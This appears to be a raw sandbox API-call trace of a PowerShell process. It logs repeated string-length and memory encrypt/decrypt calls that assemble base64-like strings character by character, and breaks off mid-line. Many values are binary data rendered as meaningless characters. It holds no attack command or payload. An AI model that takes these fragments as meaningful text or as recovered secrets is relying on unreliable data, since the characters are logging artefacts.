(param_1="뫵ῷ䑪䲶ⶵ⣂謊牜㛷焇ퟁ疙瑜⫱윍壻ቢ₹஬䎦෧䌁蘭읟貅隒䍎瓓㧒䩈뀄⪡勽⩯頍\⋟) returned 0x28 [0246.287] SysStringLen (param_1="뫵ῷ䑪䲶ⶵ⣂謊牜㛷焇ퟁ疙瑜⫱윍壻ቢ₹஬䎦෧䌁蘭읟貅隒䍎瓓㧒䩈뀄⪡勽⩯頍\⋟) returned 0x28 [0246.287] SystemFunction041 (in: Memory=0x5c9b8dc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b8dc) returned 0x0 [0246.287] SysStringLen (param_1="sXAx+IKnhZ58fz0Jhmm/MyjyErbET6J/Lv/Kk젅精䷤") returned 0x28 [0246.287] SystemFunction040 (in: Memory=0x5c9b8dc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b8dc) returned 0x0 [0246.287] SysStringLen (param_1="뫵ῷ䑪䲶ⶵ⣂謊牜㛷焇ퟁ疙瑜⫱윍壻ቢ₹஬䎦෧䌁蘭읟貅隒䍎瓓㧒끭ఝꛆ蕿糸汿䮌⟳") returned 0x28 [0246.287] SysStringLen (param_1="뫵ῷ䑪䲶ⶵ⣂謊牜㛷焇ퟁ疙瑜⫱윍壻ቢ₹஬䎦෧䌁蘭읟貅隒䍎瓓㧒끭ఝꛆ蕿糸汿䮌⟳") returned 0x28 [0246.287] SystemFunction041 (in: Memory=0x5c9b8dc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b8dc) returned 0x0 [0246.287] SysStringLen (param_1="sXAx+IKnhZ58fz0Jhmm/MyjyErbET6J/Lv/Kki精䷤") returned 0x28 [0246.287] SystemFunction040 (in: Memory=0x5c9b8dc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b8dc) returned 0x0 [0246.287] SysStringLen (param_1="뫵ῷ䑪䲶ⶵ⣂謊牜㛷焇ퟁ疙瑜⫱윍壻ቢ₹஬䎦෧䌁蘭읟貅隒䍎瓓㧒䓸粍죹꾺駑峳Ϥ쿱") returned 0x28 [0246.287] SysStringLen (param_1="뫵ῷ䑪䲶ⶵ⣂謊牜㛷焇ퟁ疙瑜⫱윍壻ቢ₹஬䎦෧䌁蘭읟貅隒䍎瓓㧒䓸粍죹꾺駑峳Ϥ쿱") returned 0x28 [0246.287] SystemFunction041 (in: Memory=0x5c9b8dc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b8dc) returned 0x0 [0246.288] SysStringLen (param_1="sXAx+IKnhZ58fz0Jhmm/MyjyErbET6J/Lv/Kkig䷤") returned 0x28 [0246.288] SystemFunction040 (in: Memory=0x5c9b8dc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b8dc) returned 0x0 [0246.288] SysStringLen (param_1="뫵ῷ䑪䲶ⶵ⣂謊牜㛷焇ퟁ疙瑜⫱윍壻ቢ₹஬䎦෧䌁蘭읟貅隒䍎瓓㧒뺃⅌몘螇끗ۈ") returned 0x28 [0246.288] SysStringLen (param_1="뫵ῷ䑪䲶ⶵ⣂謊牜㛷焇ퟁ疙瑜⫱윍壻ቢ₹஬䎦෧䌁蘭읟貅隒䍎瓓㧒뺃⅌몘螇끗ۈ") returned 0x28 [0246.288] SystemFunction041 (in: Memory=0x5c9b8dc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b8dc) returned 0x0 [0246.288] SysStringLen (param_1="sXAx+IKnhZ58fz0Jhmm/MyjyErbET6J/Lv/Kkigx") returned 0x28 [0246.288] SystemFunction040 (in: Memory=0x5c9b8dc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b8dc) returned 0x0 [0246.288] SysStringLen (param_1="뫵ῷ䑪䲶ⶵ⣂謊牜㛷焇ퟁ疙瑜⫱윍壻ቢ₹஬䎦෧䌁蘭읟貅隒䍎瓓㧒ᴹ࿆勔Є럵␱鮏") returned 0x28 [0246.288] SysStringLen (param_1="뫵ῷ䑪䲶ⶵ⣂謊牜㛷焇ퟁ疙瑜⫱윍壻ቢ₹஬䎦෧䌁蘭읟貅隒䍎瓓㧒ᴹ࿆勔Є럵␱鮏") returned 0x28 [0246.288] SysStringLen (param_1="뫵ῷ䑪䲶ⶵ⣂謊牜㛷焇ퟁ疙瑜⫱윍壻ቢ₹஬䎦෧䌁蘭읟貅隒䍎瓓㧒ᴹ࿆勔Є럵␱鮏") returned 0x28 [0246.289] SysStringLen (param_1="뫵ῷ䑪䲶ⶵ⣂謊牜㛷焇ퟁ疙瑜⫱윍壻ቢ₹஬䎦෧䌁蘭읟貅隒䍎瓓㧒ᴹ࿆勔Є럵␱鮏") returned 0x30 [0246.289] SystemFunction041 (in: Memory=0x5c92e24, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e24) returned 0x0 [0246.289] SysStringLen (param_1="sXAx+IKnhZ58fz0Jhmm/MyjyErbET6J/Lv/Kkigx1㝓▽뻊㰚鉎⁧") returned 0x30 [0246.289] SystemFunction040 (in: Memory=0x5c92e24, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e24) returned 0x0 [0246.289] SysStringLen (param_1="뫵ῷ䑪䲶ⶵ⣂謊牜㛷焇ퟁ疙瑜⫱윍壻ቢ₹஬䎦෧䌁蘭읟貅隒䍎瓓㧒ᴹ࿆勔Є럵␱鮏믵蟼౜ᴫḎ맆⫨⯺") returned 0x30 [0246.289] SysStringLen (param_1="뫵ῷ䑪䲶ⶵ⣂謊牜㛷焇ퟁ疙瑜⫱윍壻ቢ₹஬䎦෧䌁蘭읟貅隒䍎瓓㧒ᴹ࿆勔Є럵␱鮏믵蟼౜ᴫḎ맆⫨⯺") returned 0x30 [0246.289] SystemFunction041 (in: Memory=0x5c92e24, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e24) returned 0x0 [0246.289] SysStringLen (param_1="sXAx+IKnhZ58fz0Jhmm/MyjyErbET6J/Lv/Kkigx1d▽뻊㰚鉎⁧") returned 0x30 [0246.289] SystemFunction040 (in: Memory=0x5c92e24, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e24) returned 0x0 [0246.289] SysStringLen (param_1="뫵ῷ䑪䲶ⶵ⣂謊牜㛷焇ퟁ疙瑜⫱윍壻ቢ₹஬䎦෧䌁蘭읟貅隒䍎瓓㧒ᴹ࿆勔Є럵␱鮏鄮駲篴ꟁ孠棧⇀鐨") returned 0x30 [0246.289] SysStringLen (param_1="뫵ῷ䑪䲶ⶵ⣂謊牜㛷焇ퟁ疙瑜⫱윍壻ቢ₹஬䎦෧䌁蘭읟貅隒䍎瓓㧒ᴹ࿆勔Є럵␱鮏鄮駲篴ꟁ孠棧⇀鐨") returned 0x30 [0246.290] SystemFunction041 (in: Memory=0x5c92e24, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e24) returned 0x0 [0246.290] SysStringLen (param_1="sXAx+IKnhZ58fz0Jhmm/MyjyErbET6J/Lv/Kkigx1dY뻊㰚鉎⁧") returned 0x30 [0246.290] SystemFunction040 (in: Memory=0x5c92e24, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e24) returned 0x0 [0246.290] SysStringLen (param_1="뫵ῷ䑪䲶ⶵ⣂謊牜㛷焇ퟁ疙瑜⫱윍壻ቢ₹஬䎦෧䌁蘭읟貅隒䍎瓓㧒ᴹ࿆勔Є럵␱鮏⌞驇⨝ᓜŹꀯ쒀") returned 0x30 [0246.290] SysStringLen (param_1="뫵ῷ䑪䲶ⶵ⣂謊牜㛷焇ퟁ疙瑜⫱윍壻ቢ₹஬䎦෧䌁蘭읟貅隒䍎瓓㧒ᴹ࿆勔Є럵␱鮏⌞驇⨝ᓜŹꀯ쒀") returned 0x30 [0246.290] SystemFunction041 (in: Memory=0x5c92e24, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e24) returned 0x0 [0246.290] SysStringLen (param_1="sXAx+IKnhZ58fz0Jhmm/MyjyErbET6J/Lv/Kkigx1dY=㰚鉎⁧") returned 0x30 [0246.290] SystemFunction040 (in: Memory=0x5c92e24, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e24) returned 0x0 [0246.290] EtwEventActivityIdControl () returned 0x0 [0246.291] EtwEventActivityIdControl () returned 0x0 [0246.291] EtwEventActivityIdControl () returned 0x0 [0246.291] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e684, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0246.291] EtwEventActivityIdControl () returned 0x0 [0246.291] EtwEventActivityIdControl () returned 0x0 [0246.291] EtwEventActivityIdControl () returned 0x0 [0246.292] SysStringLen (param_1="") returned 0x8 [0246.292] SysStringLen (param_1="N") returned 0x8 [0246.292] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0246.292] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0246.292] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0246.292] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0246.293] SysStringLen (param_1="ND") returned 0x8 [0246.293] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0246.293] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0246.293] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0246.293] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0246.293] SysStringLen (param_1="NDZ") returned 0x8 [0246.293] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0246.293] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0246.293] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0246.293] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0246.293] SysStringLen (param_1="NDZl") returned 0x8 [0246.293] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0246.294] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0246.294] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0246.294] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0246.294] SysStringLen (param_1="NDZlO") returned 0x8 [0246.294] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0246.294] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0246.294] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0246.294] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0246.294] SysStringLen (param_1="NDZlOD") returned 0x8 [0246.294] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0246.294] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0246.294] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0246.294] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0246.295] SysStringLen (param_1="NDZlODR") returned 0x8 [0246.295] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0246.295] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0246.295] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0246.295] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0246.295] SysStringLen (param_1="NDZlODRm") returned 0x8 [0246.295] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0246.295] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0246.295] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0246.295] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0246.296] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x10 [0246.296] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0246.296] SysStringLen (param_1="NDZlODRmY뮇펬᠚࣢ᣆ㬞勉") returned 0x10 [0246.296] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0246.296] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0246.296] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0246.296] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0246.296] SysStringLen (param_1="NDZlODRmYz펬᠚࣢ᣆ㬞勉") returned 0x10 [0246.296] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0246.297] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0246.297] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0246.297] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0246.297] SysStringLen (param_1="NDZlODRmYzN᠚࣢ᣆ㬞勉") returned 0x10 [0246.297] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0246.297] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0246.297] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0246.297] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0246.299] SysStringLen (param_1="NDZlODRmYzNl࣢ᣆ㬞勉") returned 0x10 [0246.299] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0246.299] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0246.299] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0246.299] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0246.299] SysStringLen (param_1="NDZlODRmYzNlYᣆ㬞勉") returned 0x10 [0246.299] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0246.299] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0246.299] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0246.300] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0246.300] SysStringLen (param_1="NDZlODRmYzNlYT㬞勉") returned 0x10 [0246.300] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0246.300] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0246.300] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0246.300] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0246.300] SysStringLen (param_1="NDZlODRmYzNlYTJ勉") returned 0x10 [0246.300] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0246.300] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0246.300] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0246.300] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0246.300] SysStringLen (param_1="NDZlODRmYzNlYTJh") returned 0x10 [0246.300] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0246.301] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0246.301] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0246.301] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0246.302] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x18 [0246.302] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0246.302] SysStringLen (param_1="NDZlODRmYzNlYTJhM虵亅㸱멷嘇ꚺ") returned 0x18 [0246.302] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0246.302] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0246.302] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0246.302] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0246.302] SysStringLen (param_1="NDZlODRmYzNlYTJhMD亅㸱멷嘇ꚺ") returned 0x18 [0246.302] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0246.302] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0246.302] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0246.302] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0246.303] SysStringLen (param_1="NDZlODRmYzNlYTJhMDF㸱멷嘇ꚺ") returned 0x18 [0246.303] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0246.303] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0246.303] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0246.303] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0246.303] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFl멷嘇ꚺ") returned 0x18 [0246.303] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0246.303] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0246.303] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0246.303] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0246.303] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlM嘇ꚺ") returned 0x18 [0246.303] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0246.303] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0246.304] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0246.304] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0246.304] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTꚺ") returned 0x18 [0246.304] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0246.304] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0246.304] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0246.304] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0246.304] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTU") returned 0x18 [0246.304] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0246.304] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0246.304] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0246.304] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0246.304] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUw") returned 0x18 [0246.304] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0246.305] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0246.305] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0246.305] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0246.305] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x20 [0246.305] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0246.306] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZㄵ㋛仄杫ℂ︸饉") returned 0x20 [0246.306] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0246.306] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0246.306] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0246.306] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0246.306] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZD㋛仄杫ℂ︸饉") returned 0x20 [0246.306] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0246.306] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0246.306] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0246.306] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0246.306] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE仄杫ℂ︸饉") returned 0x20 [0246.306] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0246.307] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0246.307] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0246.307] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0246.307] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3杫ℂ︸饉") returned 0x20 [0246.307] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0246.307] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0246.307] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0246.307] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0246.307] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yℂ︸饉") returned 0x20 [0246.307] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0246.307] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0246.307] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0246.307] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0246.308] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yz︸饉") returned 0x20 [0246.308] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0246.308] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0246.308] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0246.308] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0246.308] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzd饉") returned 